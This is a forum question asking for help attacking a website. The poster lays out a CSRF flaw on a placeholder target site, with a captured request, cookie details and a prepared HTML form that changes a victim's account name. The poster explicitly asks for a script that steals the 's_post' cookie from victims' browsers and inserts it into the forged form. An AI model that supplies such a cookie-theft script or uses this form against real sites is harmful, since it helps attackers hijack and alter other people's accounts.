title: How can i steal a specific cookie's value?
body: <p>I WANT TO TEST A CSRF VULNERABILITY AGAINST A WEBSITE (HERE IT'S NAME IT www.targetsite.com). ON CHANGING THE PERSONAL INFO OF A ACCOUNT, A HTTP REQUEST IS SENT LIKE THIS:</p>
  
  <p><strong>REQUEST HEADER</strong></p>
  
  <pre><code>http://www.targetsite.com/?area=EditPersonalInfo&amp;force_wap=1
  
  POST/HTTP/1.1
  Host : www.targetsite.com
  User-Agent : Mozilla/Firefox
  Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language : en-US,en;q=0.5
  Accept-Encoding : gzip, deflate
  Referer : http://www.targetsite.com/?area=EditPersonalInfo&amp;force_wap=1
  Cookie : return_token=XXXXXXXXXXXXXXXX; mmbsid=XXXXXXXXXXXXX; s_post=XXXXXXXXXXXXXXX; mmbTracker=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx; mmbTrackerTarget=.targetsite.com; LOGIN=XXXXXXXXX; start_with_auth_form=1; mmbUID=XXXXXXXXXX; UID=XXXXXXXXX; mmbSECRET=XXXXXXXXXX; SECRET=XXXXXXX; LEVEL=Low; registered_once=1; mmbsid=XXXXXXXXXXXXXXXXX; unauth_lang=3
  </code></pre>
  
  <p><strong>POST DATA</strong></p>
  
  <pre><code>s_post=xxxxxxxxxxxxxx&amp;personal_name=Rogers&amp;submitted=Save&amp;force_wap=1
  </code></pre>
  
  <p>If one can get the value of "s_post" present in the POST DATA, then he can easily perform a csrf attack against the website. And the main thing is that the value of "s_post" is present in a cookie (The name of the cookie is also s_post &amp; IT'S NOT a httpOnly cookie) which is given to user at the time of their login. So if one can get the value of the cookie named "s_post" (which is present in the user's browser) by using any script then he can perform csrf easily (By inserting the value of the cookie in the place of the value of Post data "s_post=COOKIE VALUE GOES HERE &amp;personal_name=DESIREDNAME HEREs&amp;submitted=Save&amp;force_wap=1" ).... I want a script that will steal the value of the cookie named "s_post", stored in victim's browser... </p>
  
  <p>The details of the cookie is given below:</p>
  
  <pre><code>Name : s_post
  Value : XXXXXXXXXXXXXXXXXXXXX
  Host : .www.targetsite.com
  Path : /
  Expires At : At End Of Session
  Secure : No
  HTTP Only : No
  </code></pre>
  
  <p>Here's the form which i will use to perform csrf :</p>
  
  <pre><code>&lt;form name="csrf_form" method="POST" action="http://m.targetsite.com/?area=EditPersonalInfo&amp;force_wap=1"&gt; 
  &lt;input type="text" id="s_post" name="s_post" value="HERE I WANT THE VALUE OF A COOKIE NAMED s_post"&gt; 
  &lt;input type="text" id="personal_name" name="personal_name" value="Steve"&gt; 
  &lt;input type="text" id="submitted" name="submitted" value="Save"&gt; 
  &lt;input type="text" id="force_wap" name="force_wap" value="1"&gt; 
  &lt;/form&gt;
  </code></pre>
  
  <p>Please help me guys... &amp; Please comment below if there's a script that can steal the value of the cookie &amp; automatically put it's value in the html form .... 
  OR please give me a script that will only steal the cookie's value...</p>
  
  <p>Thanks in advance :)</p>